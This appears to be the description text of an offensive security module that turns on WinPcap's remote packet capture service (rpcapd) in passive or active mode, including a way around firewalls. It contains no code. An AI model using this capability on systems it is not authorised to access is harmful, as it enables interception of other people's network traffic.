This module enables the Remote Packet Capture System (rpcapd service)
included in the default installation of Winpcap. The module allows you to set up
the service in passive or active mode (useful if the client is behind a firewall).
If authentication is enabled you need a local user account to capture traffic.
PORT will be used depending of the mode configured.},
